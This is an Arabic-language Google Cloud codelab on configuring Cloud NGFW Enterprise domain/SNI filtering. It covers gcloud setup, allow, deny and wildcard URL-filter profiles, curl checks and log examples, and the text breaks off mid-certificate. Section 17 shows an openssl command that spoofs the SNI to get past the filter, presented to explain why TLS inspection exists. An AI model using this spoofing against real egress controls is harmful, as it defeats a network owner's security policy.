Cloud NGFW Enterprise Domain/SNI Filtering Codelab [Optional TLS Inspection]

1. مقدمة

Cloud Next Generation Firewall (NGFW)

‫Cloud Next Generation Firewall هي خدمة جدار حماية موزّعة بالكامل تتضمّن إمكانات حماية متقدّمة وتقسيمًا دقيقًا وتغطية شاملة لحماية أحمال عمل Google Cloud من الهجمات الداخلية والخارجية.

تتضمّن Cloud NGFW المزايا التالية:

  • خدمة جدار الحماية الموزّع: يوفّر Cloud NGFW تنفيذًا كاملاً وموزّعًا ومستندًا إلى المضيف على كل عبء عمل لتمكين بنية أمان تعتمد على "نهج الثقة المعدومة".
  • سهولة الإعداد والنشر: تنفّذ خدمة Cloud NGFW سياسات الشبكة وجدار الحماية الهرمي التي يمكن ربطها بعقدة التسلسل الهرمي للموارد. توفّر هذه السياسات تجربة جدار حماية متسقة في جميع أنحاء التسلسل الهرمي لموارد Google Cloud.
  • التحكّم الدقيق والتقسيم الدقيق: يوفّر الجمع بين سياسات جدار الحماية والعلامات التي تحكمها "إدارة الهوية والوصول" (IAM) تحكّمًا دقيقًا في كلّ من حركة البيانات من الشمال إلى الجنوب ومن الشرق إلى الغرب، وصولاً إلى جهاز افتراضي واحد، وذلك على مستوى شبكات "السحابة الإلكترونية الافتراضية الخاصة" (VPC) والمؤسسات.

يتوفّر Cloud NGFW في الفئات التالية:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

يمكن لعناصر اسم النطاق المؤهل بالكامل (FQDN) العادية في Cloud NGFW ترجمة أسماء النطاقات المؤهلة بالكامل إلى عناوين IP، ثم فرض القاعدة على قائمة عناوين IP. ومع ذلك، يمكن أن تتضمّن خدمة Cloud NGFW Enterprise مع فلترة النطاقات بضع خطوات إضافية للفحص.

Cloud NGFW Enterprise

توفّر خدمة Cloud NGFW Enterprise حاليًا خدمة "منع التسلّل" (IPS)، وهي إحدى إمكانات الطبقة 7، لشبكة جدار الحماية الموزّعة في Google Cloud.

تتضمّن Cloud NGFW Enterprise الآن ميزة فلترة النطاقات التي تتيح التحكّم في زيارات http(s) باستخدام أسماء النطاقات بدلاً من الاعتماد على عناوين IP.

بالنسبة إلى فلترة النطاقات أو إشارات اسم الخادم (SNI) لزيارات HTTPS، وكجزء من تأكيد اتصال بروتوكول أمان طبقة النقل (TLS)، فإنّ Client Hello هو إضافة تتضمّن إشارة اسم الخادم (SNI). ‫SNI هي إضافة إلى بروتوكول TLS ترسل اسم المضيف الذي يحاول أحد العملاء الوصول إليه. هذا هو المكان الذي سيتم فيه التحقّق من صحة الفلترة.

في ما يتعلق بحركة بيانات http، لا تتوفّر إشارة اسم الخادم، لذا سيتم استخدام حقل عنوان المضيف http فقط لتطبيق الفلترة.

يتم إعداد فلترة النطاقات باستخدام UrlFilteringProfile، وهو نوع جديد من ملف الأمان. سيحتوي UrlFilteringProfile على قائمة UrlFilters، وسيحتوي كل منها على إجراء وقائمة بسلاسل المطابقة وأولوية فريدة. يستخدم هذا الإعداد "عنوان URL" للتسمية بدلاً من "النطاق" لتسهيل الانتقال إلى فلترة عناوين URL الكاملة عند توفّرها بدلاً من إنشاء نوع جديد من ملف الأمان في المستقبل.

تتضمّن UrlFilteringProfiles فلتر UrlFilter ضمنيًا بأقل أولوية (2147483647) سيؤدي إلى رفض جميع الاتصالات التي لا تتطابق مع فلتر UrlFilter بأولوية أعلى.

ما ستنشئه

يتطلّب هذا الدرس التطبيقي حول الترميز مشروعًا واحدًا وإمكانية إنشاء شبكة VPC بالإضافة إلى إدارة عدد من موارد الشبكة والأمان. سيوضّح هذا الدرس كيف يمكن لخدمة Cloud NGFW Enterprise توفير فلترة النطاقات وإشارات اسم الخادم (SNI) مع تعليمات اختيارية لفحص بروتوكول أمان طبقة النقل (TLS).

سنختبر سيناريوهات متعددة لقواعد السماح والحظر، بما في ذلك استخدام أحرف البدل.

4a779fae790d117.png

ستكون الحالة النهائية لقاعدة بيانات قواعد سياسة جدار حماية بين الشبكات مشابهة للجدول أدناه:

الأولوية

الاتجاه

Target

المصدر

الوجهة

الإجراء

النوع

200

حركة بيانات واردة

الكل

شراء داخل التطبيق

أي

السماح

Essentials

300

حركة بيانات صادرة

الكل

أي

0.0.0.0/0:80,443

فحص الطبقة 7

للمؤسسات

ما ستتعلمه

  • كيفية إنشاء سياسة جدار حماية بين الشبكات
  • كيفية ضبط فلترة النطاقات أو إشارات اسم الخادم (SNI) في Cloud NGFW Enterprise واستخدامها
  • كيفية ضبط ميزة "منع التهديدات" بالإضافة إلى ميزة "فلترة النطاقات/مؤشر اسم الخادم"
  • كيفية مراجعة السجلّات
  • [اختياري] كيفية تفعيل "فحص طبقة النقل الآمنة"

المتطلبات

  • مشروع على السحابة الإلكترونية من Google
  • معرفة كيفية نشر الآلات الافتراضية وضبط مكونات الشبكة
  • معرفة كيفية إعداد جدار الحماية لسياسة الشبكة

2. قبل البدء

إنشاء المتغيرات أو تعديلها

يستخدِم هذا الدرس التطبيقي حول الترميز $variables للمساعدة في تنفيذ عملية إعداد gcloud في Cloud Shell.

في Cloud Shell، نفِّذ الأوامر أدناه مع استبدال المعلومات بين الأقواس حسب الحاجة:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

3- تفعيل واجهات برمجة التطبيقات

فعِّل واجهات برمجة التطبيقات إذا لم يسبق لك ذلك:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

4. إنشاء نقاط نهاية Cloud NGFW Enterprise

بما أنّ إنشاء نقطة نهاية Cloud NGFW Enterprise يستغرق حوالي 20 دقيقة، سيتم إنشاؤها أولاً ويمكن إجراء عملية الإعداد الأساسية بالتوازي أثناء إنشاء نقطة النهاية.

ستتطلّب عملية فلترة النطاق/SNI نقطة نهاية لجدار الحماية حتى إذا لم تكن تنوي استخدام ملفات تعريف منع التهديدات.

إنشاء ملف تعريف الأمان ومجموعة ملفات تعريف الأمان:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

نفِّذ الأمر أدناه للتأكّد من أنّ نقطة النهاية قيد الإنشاء (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

الناتج المتوقّع (يُرجى العِلم أنّ تنسيق الناتج قد يختلف حسب العميل المستخدَم):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

تستغرق عملية الإنشاء حوالي 20 دقيقة. انتقِل إلى قسم "الإعداد الأساسي" لإنشاء المراجع المطلوبة بالتوازي.

5- الإعداد الأساسي

شبكة السحابة الإلكترونية الافتراضية الخاصة (VPC) والشبكة الفرعية

شبكة VPC والشبكة الفرعية

أنشئ شبكة السحابة الإلكترونية الافتراضية الخاصة (VPC) والشبكة الفرعية:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

أنشئ عنوان IP خارجيًا وجهاز توجيه Cloud Router وبوابة Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

إنشاء مثيل

أنشئ مثيل العميل:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone

سياسة جدار الحماية بين الشبكات الشاملة

أنشئ سياسة جدار حماية بين الشبكات عامة:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

أنشئ قواعد Cloud Firewall Essential المطلوبة للسماح بزيارات من نطاقات الخادم الوكيل المدرك للهوية:

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

ربط سياسة جدار الحماية على السحابة الإلكترونية بشبكة VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. إنشاء إعدادات فلترة النطاقات أو إشارات اسم الخادم (SNI) للسماح

بعد ذلك، سنضبط النطاقات للسماح بها أو رفضها. من cloudshell، أنشئ ملف yaml:

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

أنشئ ملف أمان من خلال استيراد إعدادات yaml:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

الناتج المتوقّع:

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

إنشاء مجموعة ملفات أمان:

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

تأكَّد من أنّ حزمة أمان Google تحتوي على ملف الأمان:

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

الناتج المتوقّع:

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

7. ربط نقطة نهاية Cloud Firewall

حدِّد متغيّرات البيئة إذا لم يسبق لك إجراء ذلك و/أو كنت تفضّل استخدام طريقة النص البرمجي.

تأكَّد من اكتمال عملية إنشاء نقطة نهاية Cloud Firewall بنجاح. لا تتابع إلا بعد أن تظهر الحالة نشط (أثناء الإنشاء، الحالة المتوقّعة هي قيد الإنشاء):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

الناتج المتوقّع (يُرجى العلم أنّ تنسيق الناتج قد يختلف حسب العميل المستخدَم):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

ربط نقطة نهاية Cloud Firewall بشبكة VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

تستغرق عملية الربط حوالي 10 دقائق. لا تنتقل إلى القسم التالي إلا بعد أن تظهر الحالة نشط (أثناء الإنشاء، الحالة المتوقّعة هي قيد الإنشاء):

gcloud network-security firewall-endpoint-associations list

الناتج المتوقّع عند الاكتمال:

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

8. إنشاء قواعد جدار الحماية لفلترة النطاقات أو إشارات اسم الخادم (SNI)

تتضمّن Google قواعد جدار الحماية الضمنية للسماح بالخروج. إذا أردنا فرض فلترة النطاق/SNI، يجب أن نحدّد قاعدة بشكل صريح. سترسل القاعدة التالية حركة الخروج للمنفذين 80 و443 للوجهة ليتم فحصها من خلال ملف الأمان الخاص بنا.

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

9- التحقّق من صحة قواعد السماح

ابدأ اتصالاً من خلال بروتوكول النقل الآمن (SSH) بالجهاز الافتراضي من خلال خدمة "الوصول إلى الأجهزة الافتراضية عبر الإنترنت" (IAP):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

أرسِل الطلبات النموذجية إلى الوجهة المسموح بها:

curl https://www.example.com --max-time 2

يُرجى العِلم أنّ هذا الطلب تمّ بنجاح بسبب قاعدة جدار الحماية "السماح".

لنجرّب بعض النطاقات التي لا تشكّل جزءًا من القائمة.

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

الناتج المتوقّع:

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

لماذا لم ينجح استخدام "example.com"؟ ويرجع ذلك إلى أنّ إعدادات ملف الأمان الشخصي كانت تتضمّن "www.example.com" بشكلٍ صريح. إذا أردنا السماح بجميع النطاقات الفرعية لـ example.com، يمكننا استخدام حرف بدل.

تعذّر أيضًا تنفيذ الطلبات الأخرى. يرجع ذلك إلى أنّ مجموعة ملفات الأمان الشخصية تتضمّن رفضًا تلقائيًا بأقل أولوية، ولا يُسمح إلا باستخدام www.example.com.

اخرج من الجهاز الافتراضي للعودة إلى Cloud Shell.

exit

10. تعديل إعدادات فلترة النطاقات أو إشارات اسم الخادم (SNI) لأحرف البدل

لنلقِ نظرة على ملف yaml ونُجري بعض التعديلات الإضافية لعرض إمكانات إضافية، بما في ذلك دعم أحرف البدل. سننشئ قاعدة تسمح بـ "‎*.com"، أي أي نطاق ينتهي بـ ‎ .com. ملاحظة: سيؤدي ذلك إلى استبدال محتوى ملف yaml الأصلي الذي تم إنشاؤه في القسم السابق بالكامل.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

عدِّل ملف الأمان باستخدام إعدادات yaml الجديدة:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

التحقّق من إعدادات ملف الأمان:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

الناتج المتوقّع:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

11. التحقّق من صحة قاعدة البطاقة المميزة

لننتحقق مما إذا كانت قاعدة حرف البدل تعمل بشكل صحيح. ابدأ اتصالاً من خلال بروتوكول النقل الآمن (SSH) بالجهاز الافتراضي من خلال خدمة "الوصول إلى الأجهزة الافتراضية عبر الإنترنت" (IAP):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

أرسِل نماذج الطلبات إلى الوجهات المسموح بها:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

من المفترض أن تكون جميع هذه الطلبات قد اكتملت بنجاح. يمكنك تجربة أي نطاق .com صالح آخر. إذا لم تنجح المحاولات، تأكَّد من الانتظار لمدة 10 دقائق على الأقل وأعِد المحاولة.

يمكننا حتى تجربة نطاقات فرعية متعددة من ".com" ويجب أن تنجح جميعها.

curl https://mail.google.com --max-time 2

اخرج من الجهاز الافتراضي للعودة إلى Cloud Shell.

exit

12. تعديل إعدادات فلترة النطاقات أو إشارات اسم الخادم (SNI) للرفض

لقد أظهرنا أنّه توجد قاعدة DENY ضمنية للرمز * في نهاية ملف الأمان الشخصي، وأنشأنا نطاقات "مسموح بها" باستخدام filteringAction كـ "ALLOW". لنناقش كيفية استخدام filteringAction كـ "DENY". يمكن أن تكون إجراءات DENY مفيدة عندما تسبق إجراء ALLOW صريحًا. انظر المثال التالي.

سنعدّل ملف yaml الحالي للسماح بالنطاق ‎ *.com ولكن مع حظر نطاقات ‎ .com معيّنة.

سنعدّل ملف yaml لرفض ‎ *.github.com و‎ *.google.com مع السماح صراحةً بجميع ‎ *.com الأخرى والإبقاء على الرفض التلقائي الضمني. يجب أن يكون لأولوية الاستثناءات رقم أولوية أقل: (1000 مقابل 2000) و (1500 مقابل 2000).

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

عدِّل ملف الأمان باستخدام إعدادات yaml الجديدة:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

التحقّق من إعدادات ملف الأمان:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

13. التحقّق من صحة قواعد الرفض

لنتأكّد مما إذا كانت قواعد DENY تعمل بشكل صحيح. ابدأ اتصالاً من خلال بروتوكول النقل الآمن (SSH) بالجهاز الافتراضي من خلال خدمة "الوصول إلى الأجهزة الافتراضية عبر الإنترنت" (IAP):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

أرسِل الطلبات النموذجية إلى الوجهات المرفوضة:

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

كان من المفترض أن يتعذّر تنفيذ هذين الطلبَين لأنّهما يتطابقان مع قاعدة "DENY".

أرسِل بعض الطلبات الإضافية:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

لماذا نجحت هذه الاستراتيجيات؟ وقد نجحت هذه القواعد لأنّ قواعد DENY كانت مخصّصة للنطاقَين ".github.com" و ".google.com". لا تشمل الطلبات إلى github.com وgoogle.com حرف البدل هذا لأنّه يشير إلى نطاقات فرعية من github.com وgoogle.com.

يجب أن تنجح الطلبات الأخرى إلى نطاقات ‎ .com، مع رفض تلقائي للنطاقات الأخرى. ‎(.org أو ‎.net أو ‎.me أو غير ذلك)

اخرج من الجهاز الافتراضي للعودة إلى Cloud Shell.

exit

14. تعديل إعدادات فلترة النطاقات أو إشارات اسم الخادم (SNI) للسماح تلقائيًا

ماذا لو أردت أن يكون هناك سلوك ALLOW تلقائي مع قواعد رفض صريحة؟ سنعدّل ملف YAML ليعكس هذا السلوك. سنضبط قواعد DENY لأي نطاق ‎ .com أو ‎ .net ونسمح بجميع النطاقات الأخرى.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

عدِّل ملف الأمان باستخدام إعدادات yaml الجديدة:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

التحقّق من إعدادات ملف الأمان:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

الناتج المتوقّع:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

لاحظ أنّ الرفض الضمني لـ * لا يزال موجودًا. تصبح هذه القاعدة غير ذات صلة لأنّنا ضبطنا قاعدة تلقائية ذات أولوية أعلى (قيمة أقل) تم ضبط filteringAction فيها على ALLOW.

(2000000000 مقابل 2147483647)

15. التحقّق من صحة قواعد الرفض باستخدام الإذن التلقائي

لنتأكّد مما إذا كانت قواعد DENY تعمل مع قاعدة ALLOW التلقائية. ابدأ اتصالاً من خلال بروتوكول النقل الآمن (SSH) بالجهاز الافتراضي من خلال خدمة "الوصول إلى الأجهزة الافتراضية عبر الإنترنت" (IAP):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

أرسِل الطلبات النموذجية إلى الوجهات المرفوضة:

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

كان من المفترض أن يتعذّر تنفيذ هذين الطلبَين لأنّهما يتطابقان مع قاعدة "DENY". يجب أن يتعذّر تنفيذ أي طلبات .com أو .net.

أرسِل بعض الطلبات التي من المفترض أن تكون ناجحة (أي نطاق آخر من المستوى الأعلى):

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

من المفترض أن تنجح هذه الطلبات لأنّها تستخدم قاعدة السماح "التلقائية" ذات الأولوية 2000000000.

16. استكشاف السجلّات لفلترة النطاقات أو إشارات اسم الخادم (SNI)

لنتحقّق من كيفية التأكّد مما إذا كانت الزيارات تخضع للفحص من خلال قاعدة جدار الحماية لفلترة النطاقات أو إشارات اسم الخادم (SNI).

في Cloud Console، انتقِل إلى "مستكشف السجلّات" وأدخِل الفلتر التالي:

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

يبحث الفلتر أعلاه في سياسة جدار الحماية التي أنشأناها باسم $prefix-fwpolicy وأولوية القاعدة 300 التي تتضمّن مجموعة ملفات الأمان المرتبطة بإعدادات فلترة النطاق/SNI.

91854cacaec44798.png

كما ترى، تشير حالة "التصرف" إلى "تم الاعتراض"، ما يشير إلى أنّه تم اعتراض حركة البيانات وإرسالها إلى محرك جدار الحماية للمعالجة.

لعرض سجلّات فلترة النطاق/SNI الفعلية، يمكننا إدخال الفلتر التالي في "مستكشف السجلّات": (يجب استبدال $project_id بقيمة project_id)

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

إذا وسّعنا بعض التفاصيل، يمكننا الاطّلاع على التفاصيل التالية في مثال (تمت إزالة البيانات الحساسة):

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

يعرض سجلّ المثال أعلاه طلبًا تم إرساله إلى wikipedia.org وتم السماح به لأنّه استوفى القاعدة ذات الأولوية 2000000000 التي كانت "*" مع filterAction ALLOW. هناك تفاصيل أخرى، بما في ذلك SNI.

يمكننا إلقاء نظرة على نموذج سجلّ DENY:

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

كما نرى أعلاه، هذا طلب تم تسجيله عند رفض طلب. كان الطلب موجّهًا إلى www.php.net، وهو ما يتطابق مع القاعدة 1500 في ملف الأمان. وبالمثل، تمت المطابقة مع SNI لاتخاذ القرار.

17. التحقّق من صحة القواعد عند توفّر ميزة "انتحال هوية SNI"

كما ذكرنا في المقدمة، يمكن لخدمة NGFW Enterprise فحص عنوان المضيف HTTP لحركة بيانات HTTP، أو فحص SNI لحركة البيانات المشفّرة باستخدام بروتوكول أمان طبقة النقل (TLS). من الممكن أن يزوّر الأفراد SNI. ماذا يحدث إذا تم ذلك؟

لننتحقق من صحة السلوك. ابدأ اتصالاً من خلال بروتوكول النقل الآمن (SSH) بالجهاز الافتراضي من خلال خدمة "الوصول إلى الأجهزة الافتراضية عبر الإنترنت" (IAP):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

نفِّذ أمر openssl التالي لتزييف SNI:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

في المثال أعلاه، من المتوقّع أن يتم حظر الطلبات الواردة إلى نطاقات ‎ .com و‎ .net، والسماح بنطاقات المستوى الأعلى الأخرى. في ما يلي مثال على رد مزيّف. يتم إرسال الطلب إلى www.google.com الذي من المفترض أن يكون محظورًا، ولكن بدلاً من إرسال SNI لـ www.google.com، نحدّد SNI لـ ifconfig.me. بما أنّ السياسة تتحقّق من SNI، ستعتبر ذلك نطاقًا "مسموحًا به" وستسمح بمروره. لقد نجحنا في إنشاء اتصال TLS مع google.com.

.

الناتج المتوقّع:

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
